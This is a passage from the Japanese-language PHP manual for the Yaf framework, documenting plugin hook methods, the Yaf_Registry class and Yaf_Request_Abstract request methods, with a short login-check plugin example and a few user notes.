public preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
public preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
public routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
public routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void
}

目次

  • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup — ディスパッチループの前にフックする
  • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
  • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
  • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
  • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
  • Yaf_Plugin_Abstract::routerStartup — RouterStartup フック

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:59
All the methods which the plugin implemented according to this interface, will be called at the proper time automatically.


The dispatchLoopShutdown purpose

  • ≪ Yaf_Plugin_Abstract
  • Yaf_Plugin_Abstract::dispatchLoopStartup ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The dispatchLoopShutdown purpose

Yaf_Plugin_Abstract::dispatchLoopShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose

説明

public Yaf_Plugin_Abstract::dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

これは、Yaf プラグインのフックシステム内での最後のフックです。 このメソッドを実装したカスタムプラグインは、 ディスパッチループが終了したときに呼ばれます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

response

返り値

参考

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup フック
  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - ディスパッチループの前にフックする
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose

User Contributed Notes

There are no user contributed notes for this page.


ディスパッチループの前にフックする

  • ≪ Yaf_Plugin_Abstract::dispatchLoopShutdown
  • Yaf_Plugin_Abstract::postDispatch ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • ディスパッチループの前にフックする

Yaf_Plugin_Abstract::dispatchLoopStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopStartup — ディスパッチループの前にフックする

説明

public Yaf_Plugin_Abstract::dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

パラメータ

request

response

返り値

User Contributed Notes

There are no user contributed notes for this page.


The postDispatch purpose

  • ≪ Yaf_Plugin_Abstract::dispatchLoopStartup
  • Yaf_Plugin_Abstract::preDispatch ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The postDispatch purpose

Yaf_Plugin_Abstract::postDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose

説明

public Yaf_Plugin_Abstract::postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

response

返り値

User Contributed Notes

There are no user contributed notes for this page.


The preDispatch purpose

  • ≪ Yaf_Plugin_Abstract::postDispatch
  • Yaf_Plugin_Abstract::preResponse ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preDispatch purpose

Yaf_Plugin_Abstract::preDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose

説明

public Yaf_Plugin_Abstract::preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

response

返り値

User Contributed Notes

There are no user contributed notes for this page.


The preResponse purpose

  • ≪ Yaf_Plugin_Abstract::preDispatch
  • Yaf_Plugin_Abstract::routerShutdown ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preResponse purpose

Yaf_Plugin_Abstract::preResponse

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preResponse — The preResponse purpose

説明

public Yaf_Plugin_Abstract::preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

response

返り値

User Contributed Notes

There are no user contributed notes for this page.


The routerShutdown purpose

  • ≪ Yaf_Plugin_Abstract::preResponse
  • Yaf_Plugin_Abstract::routerStartup ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The routerShutdown purpose

Yaf_Plugin_Abstract::routerShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose

説明

public Yaf_Plugin_Abstract::routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

このフックが動くのは、ルーティングが終了したときです。 このフックは、ログインのチェックなどでよく使います。

パラメータ

request

response

返り値

例

例1 Yaf_Plugin_Abstract::routerShutdown() の例

<?php
class UserInitPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
        $controller = $request->getControllerName();

        /**
         * Use access controller is unecessary for APIs
         */
        if (in_array(strtolower($controller), array(
            'api',
        ))) {
            return TRUE;
        }

        if (Yaf_Session::getInstance()->has("login")) {
            return TRUE;
        }

        /* Use access check failed, need to login */
        $response->setRedirect("http://yourdomain.com/login/");
        return FALSE;
    }
?>

参考

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup フック
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - ディスパッチループの前にフックする
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


RouterStartup フック

  • ≪ Yaf_Plugin_Abstract::routerShutdown
  • Yaf_Registry ≫
  • PHP Manual
  • Yaf_Plugin_Abstract
  • RouterStartup フック

Yaf_Plugin_Abstract::routerStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerStartup — RouterStartup フック

説明

public Yaf_Plugin_Abstract::routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response ) : void

これは、Yaf プラグインのフックシステム内での最初のフックです。 このメソッドを実装したカスタムプラグインは、 ルーティングを始める前に呼ばれます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

response

返り値

参考

  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - ディスパッチループの前にフックする
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry クラス

(Yaf >=1.0.0)

はじめに

Yaf_Registry のすべてのメソッドは静的メソッドとして宣言されており、 どこからでもアクセスできます。これを使えば、コードのどこからでも必要に応じて 任意のデータを保存したり取得したりすることができます。

クラス概要

Yaf_Registry {
/* プロパティ */
static $_instance ;
protected $_entries ;
/* メソッド */
private __construct ( )
public static del ( string $name ) : void
public static get ( string $name ) : mixed
public static has ( string $name ) : bool
public static set ( string $name , string $value ) : bool
}

プロパティ

_instance

_entries

目次

  • Yaf_Registry::__construct — Yaf_Registry はシングルトンを実装する
  • Yaf_Registry::del — アイテムをレジストリから削除する
  • Yaf_Registry::get — アイテムをレジストリから取得する
  • Yaf_Registry::has — アイテムが存在するかどうかを調べる
  • Yaf_Registry::set — アイテムをレジストリに追加する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry はシングルトンを実装する

  • ≪ Yaf_Registry
  • Yaf_Registry::del ≫
  • PHP Manual
  • Yaf_Registry
  • Yaf_Registry はシングルトンを実装する

Yaf_Registry::__construct

(Yaf >=1.0.0)

Yaf_Registry::__construct — Yaf_Registry はシングルトンを実装する

説明

private Yaf_Registry::__construct ( )

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


アイテムをレジストリから削除する

  • ≪ Yaf_Registry::__construct
  • Yaf_Registry::get ≫
  • PHP Manual
  • Yaf_Registry
  • アイテムをレジストリから削除する

Yaf_Registry::del

(Yaf >=1.0.0)

Yaf_Registry::del — アイテムをレジストリから削除する

説明

public static Yaf_Registry::del ( string $name ) : void

アイテムをレジストリから削除します。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


アイテムをレジストリから取得する

  • ≪ Yaf_Registry::del
  • Yaf_Registry::has ≫
  • PHP Manual
  • Yaf_Registry
  • アイテムをレジストリから取得する

Yaf_Registry::get

(Yaf >=1.0.0)

Yaf_Registry::get — アイテムをレジストリから取得する

説明

public static Yaf_Registry::get ( string $name ) : mixed

アイテムをレジストリから取得します。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


アイテムが存在するかどうかを調べる

  • ≪ Yaf_Registry::get
  • Yaf_Registry::set ≫
  • PHP Manual
  • Yaf_Registry
  • アイテムが存在するかどうかを調べる

Yaf_Registry::has

(Yaf >=1.0.0)

Yaf_Registry::has — アイテムが存在するかどうかを調べる

説明

public static Yaf_Registry::has ( string $name ) : bool

アイテムが存在するかどうかを調べます。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


アイテムをレジストリに追加する

  • ≪ Yaf_Registry::has
  • Yaf_Request_Abstract ≫
  • PHP Manual
  • Yaf_Registry
  • アイテムをレジストリに追加する

Yaf_Registry::set

(Yaf >=1.0.0)

Yaf_Registry::set — アイテムをレジストリに追加する

説明

public static Yaf_Registry::set ( string $name , string $value ) : bool

アイテムをレジストリに追加します。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Abstract クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* プロパティ */
public $module ;
public $controller ;
public $action ;
public $method ;
protected $params ;
protected $language ;
protected $_exception ;
protected $_base_uri ;
protected $uri ;
protected $dispatched ;
protected $routed ;
/* メソッド */
public clearParams ( ) : bool
public getActionName ( ) : void
public getBaseUri ( ) : void
public getControllerName ( ) : void
public getEnv ( string $name , string $default = ? ) : void
public getException ( ) : void
public getLanguage ( ) : void
public getMethod ( ) : string
public getModuleName ( ) : void
public getParam ( string $name , string $default = ? ) : mixed
public getParams ( ) : array
public getRequestUri ( ) : void
public getServer ( string $name , string $default = ? ) : void
public isCli ( ) : bool
public isDispatched ( ) : bool
public isGet ( ) : bool
public isHead ( ) : bool
public isOptions ( ) : bool
public isPost ( ) : bool
public isPut ( ) : bool
public isRouted ( ) : bool
public isXmlHttpRequest ( ) : bool
public setActionName ( string $action , bool $format_name = true ) : void
public setBaseUri ( string $uir ) : bool
public setControllerName ( string $controller , bool $format_name = true ) : void
public setDispatched ( ) : void
public setModuleName ( string $module , bool $format_name = true ) : void
public setParam ( string $name , string $value = ? ) : bool
public setRequestUri ( string $uir ) : void
public setRouted ( string $flag = ? ) : void
}

プロパティ

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

定義済み定数

Yaf_Request_Abstract::SCHEME_HTTP

Yaf_Request_Abstract::SCHEME_HTTPS

目次

  • Yaf_Request_Abstract::clearParams — Remove all params
  • Yaf_Request_Abstract::getActionName — The getActionName purpose
  • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
  • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
  • Yaf_Request_Abstract::getEnv — ENV 変数を取得する
  • Yaf_Request_Abstract::getException — The getException purpose
  • Yaf_Request_Abstract::getLanguage — クライアントの好きな言語を取得する
  • Yaf_Request_Abstract::getMethod — リクエストメソッドを取得する
  • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
  • Yaf_Request_Abstract::getParam — 呼び出しパラメータを取得する
  • Yaf_Request_Abstract::getParams — 全ての呼び出しパラメータを取得する
  • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
  • Yaf_Request_Abstract::getServer — SERVER 変数を取得する
  • Yaf_Request_Abstract::isCli — CLIリクエストかを判定する
  • Yaf_Request_Abstract::isDispatched — リクエストがディスパッチ済みかを判定する
  • Yaf_Request_Abstract::isGet — GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isHead — HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions — OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPost — POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut — PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isRouted — リクエストがルーティング済みかを判定する
  • Yaf_Request_Abstract::isXmlHttpRequest — AJAXリクエストかどうかを判定する
  • Yaf_Request_Abstract::setActionName — アクション名を設定する
  • Yaf_Request_Abstract::setBaseUri — ベース URI を設定する
  • Yaf_Request_Abstract::setControllerName — コントローラー名を設定する
  • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
  • Yaf_Request_Abstract::setModuleName — モジュール名を設定する
  • Yaf_Request_Abstract::setParam — 呼び出しパラメータをリクエストに設定する
  • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
  • Yaf_Request_Abstract::setRouted — The setRouted purpose

User Contributed Notes

There are no user contributed notes for this page.


Remove all params

  • ≪ Yaf_Request_Abstract
  • Yaf_Request_Abstract::getActionName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • Remove all params

Yaf_Request_Abstract::clearParams

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Yaf_Request_Abstract::clearParams — Remove all params

説明

public Yaf_Request_Abstract::clearParams ( ) : bool

Remove all params set by router, or Yaf_Request_Abstract::setParam()

パラメータ

この関数にはパラメータはありません。

返り値

bool

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


The getActionName purpose

  • ≪ Yaf_Request_Abstract::clearParams
  • Yaf_Request_Abstract::getBaseUri ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getActionName purpose

Yaf_Request_Abstract::getActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getActionName — The getActionName purpose

説明

public Yaf_Request_Abstract::getActionName ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getBaseUri purpose

  • ≪ Yaf_Request_Abstract::getActionName
  • Yaf_Request_Abstract::getControllerName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getBaseUri purpose

Yaf_Request_Abstract::getBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose

説明

public Yaf_Request_Abstract::getBaseUri ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getControllerName purpose

  • ≪ Yaf_Request_Abstract::getBaseUri
  • Yaf_Request_Abstract::getEnv ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getControllerName purpose

Yaf_Request_Abstract::getControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getControllerName — The getControllerName purpose

説明

public Yaf_Request_Abstract::getControllerName ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ENV 変数を取得する

  • ≪ Yaf_Request_Abstract::getControllerName
  • Yaf_Request_Abstract::getException ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • ENV 変数を取得する

Yaf_Request_Abstract::getEnv

(Yaf >=1.0.0)

Yaf_Request_Abstract::getEnv — ENV 変数を取得する

説明

public Yaf_Request_Abstract::getEnv ( string $name , string $default = ? ) : void

ENV 変数を取得します。

パラメータ

name

変数名。

default

このパラメータを指定すると、変数が見つからない場合にこの値を返すようになります。

返り値

ストリングを返します

参考

  • Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::getParam

User Contributed Notes

There are no user contributed notes for this page.


The getException purpose

  • ≪ Yaf_Request_Abstract::getEnv
  • Yaf_Request_Abstract::getLanguage ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getException purpose

Yaf_Request_Abstract::getException

(Yaf >=1.0.0)

Yaf_Request_Abstract::getException — The getException purpose

説明

public Yaf_Request_Abstract::getException ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クライアントの好きな言語を取得する

  • ≪ Yaf_Request_Abstract::getException
  • Yaf_Request_Abstract::getMethod ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • クライアントの好きな言語を取得する

Yaf_Request_Abstract::getLanguage

(Yaf >=1.0.0)

Yaf_Request_Abstract::getLanguage — クライアントの好きな言語を取得する

説明

public Yaf_Request_Abstract::getLanguage ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


リクエストメソッドを取得する

  • ≪ Yaf_Request_Abstract::getLanguage
  • Yaf_Request_Abstract::getModuleName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • リクエストメソッドを取得する

Yaf_Request_Abstract::getMethod

(Yaf >=1.0.0)

Yaf_Request_Abstract::getMethod — リクエストメソッドを取得する

説明

public Yaf_Request_Abstract::getMethod ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

"POST", "GET" などのような文字列を返します。

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


The getModuleName purpose

  • ≪ Yaf_Request_Abstract::getMethod
  • Yaf_Request_Abstract::getParam ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getModuleName purpose

Yaf_Request_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getModuleName — The getModuleName purpose

説明

public Yaf_Request_Abstract::getModuleName ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


呼び出しパラメータを取得する

  • ≪ Yaf_Request_Abstract::getModuleName
  • Yaf_Request_Abstract::getParams ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • 呼び出しパラメータを取得する

Yaf_Request_Abstract::getParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParam — 呼び出しパラメータを取得する

説明

public Yaf_Request_Abstract::getParam ( string $name , string $default = ? ) : mixed

パラメータ

name

default

返り値

参考

  • Yaf_Request_Abstract::setParam() - 呼び出しパラメータをリクエストに設定する

User Contributed Notes

yaqi dot wang at fengjr dot com 22-May-2018 05:51
<?php
$id = $this->getRequest()->getParam("id",'');
echo '<pre>';
var_dump($id); //1
?>


全ての呼び出しパラメータを取得する

  • ≪ Yaf_Request_Abstract::getParam
  • Yaf_Request_Abstract::getRequestUri ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • 全ての呼び出しパラメータを取得する

Yaf_Request_Abstract::getParams

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParams — 全ての呼び出しパラメータを取得する

説明

public Yaf_Request_Abstract::getParams ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Request_Abstract::setParam() - 呼び出しパラメータをリクエストに設定する

User Contributed Notes

There are no user contributed notes for this page.


The getRequestUri purpose

  • ≪ Yaf_Request_Abstract::getParams
  • Yaf_Request_Abstract::getServer ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The getRequestUri purpose

Yaf_Request_Abstract::getRequestUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose

説明

public Yaf_Request_Abstract::getRequestUri ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


SERVER 変数を取得する

  • ≪ Yaf_Request_Abstract::getRequestUri
  • Yaf_Request_Abstract::isCli ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • SERVER 変数を取得する

Yaf_Request_Abstract::getServer

(Yaf >=1.0.0)

Yaf_Request_Abstract::getServer — SERVER 変数を取得する

説明

public Yaf_Request_Abstract::getServer ( string $name , string $default = ? ) : void

SERVER 変数を取得します。

パラメータ

name

変数名。

default

このパラメータを指定すると、変数が見つからない場合にこの値を返すようになります。

返り値

参考

  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する
  • Yaf_Request_Abstract::getEnv() - ENV 変数を取得する

User Contributed Notes

There are no user contributed notes for this page.


CLIリクエストかを判定する

  • ≪ Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::isDispatched ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • CLIリクエストかを判定する

Yaf_Request_Abstract::isCli

(Yaf >=1.0.0)

Yaf_Request_Abstract::isCli — CLIリクエストかを判定する

説明

public Yaf_Request_Abstract::isCli ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


リクエストがディスパッチ済みかを判定する

  • ≪ Yaf_Request_Abstract::isCli
  • Yaf_Request_Abstract::isGet ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • リクエストがディスパッチ済みかを判定する

Yaf_Request_Abstract::isDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::isDispatched — リクエストがディスパッチ済みかを判定する

説明

public Yaf_Request_Abstract::isDispatched ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Dispatcher::dispatch() - リクエストをディスパッチする

User Contributed Notes

There are no user contributed notes for this page.


GETリクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isDispatched
  • Yaf_Request_Abstract::isHead ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • GETリクエストかどうかを判定する

Yaf_Request_Abstract::isGet

(Yaf >=1.0.0)

Yaf_Request_Abstract::isGet — GETリクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isGet ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


HEADリクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isGet
  • Yaf_Request_Abstract::isOptions ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • HEADリクエストかどうかを判定する

Yaf_Request_Abstract::isHead

(Yaf >=1.0.0)

Yaf_Request_Abstract::isHead — HEADリクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isHead ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


OPTIONS リクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isHead
  • Yaf_Request_Abstract::isPost ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • OPTIONS リクエストかどうかを判定する

Yaf_Request_Abstract::isOptions

(Yaf >=1.0.0)

Yaf_Request_Abstract::isOptions — OPTIONS リクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isOptions ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

User Contributed Notes

There are no user contributed notes for this page.


POST リクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isOptions
  • Yaf_Request_Abstract::isPut ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • POST リクエストかどうかを判定する

Yaf_Request_Abstract::isPost

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPost — POST リクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isPost ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


PUTリクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isPost
  • Yaf_Request_Abstract::isRouted ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • PUTリクエストかどうかを判定する

Yaf_Request_Abstract::isPut

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPut — PUTリクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isPut ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


リクエストがルーティング済みかを判定する

  • ≪ Yaf_Request_Abstract::isPut
  • Yaf_Request_Abstract::isXmlHttpRequest ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • リクエストがルーティング済みかを判定する

Yaf_Request_Abstract::isRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::isRouted — リクエストがルーティング済みかを判定する

説明

public Yaf_Request_Abstract::isRouted ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

User Contributed Notes

There are no user contributed notes for this page.


AJAXリクエストかどうかを判定する

  • ≪ Yaf_Request_Abstract::isRouted
  • Yaf_Request_Abstract::setActionName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • AJAXリクエストかどうかを判定する

Yaf_Request_Abstract::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Abstract::isXmlHttpRequest — AJAXリクエストかどうかを判定する

説明

public Yaf_Request_Abstract::isXmlHttpRequest ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

boolean を返します。

参考

  • Yaf_Request_Abstract::isHead() - HEADリクエストかどうかを判定する
  • Yaf_Request_Abstract::isCli() - CLIリクエストかを判定する
  • Yaf_Request_Abstract::isPost() - POST リクエストかどうかを判定する
  • Yaf_Request_Abstract::isPut() - PUTリクエストかどうかを判定する
  • Yaf_Request_Abstract::isOptions() - OPTIONS リクエストかどうかを判定する
  • Yaf_Request_Abstract::isGet() - GETリクエストかどうかを判定する

User Contributed Notes

oreaking at gmail dot com 25-Sep-2014 02:16
That means the request method is ajax or not .


アクション名を設定する

  • ≪ Yaf_Request_Abstract::isXmlHttpRequest
  • Yaf_Request_Abstract::setBaseUri ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • アクション名を設定する

Yaf_Request_Abstract::setActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setActionName — アクション名を設定する

説明

public Yaf_Request_Abstract::setActionName ( string $action , bool $format_name = true ) : void

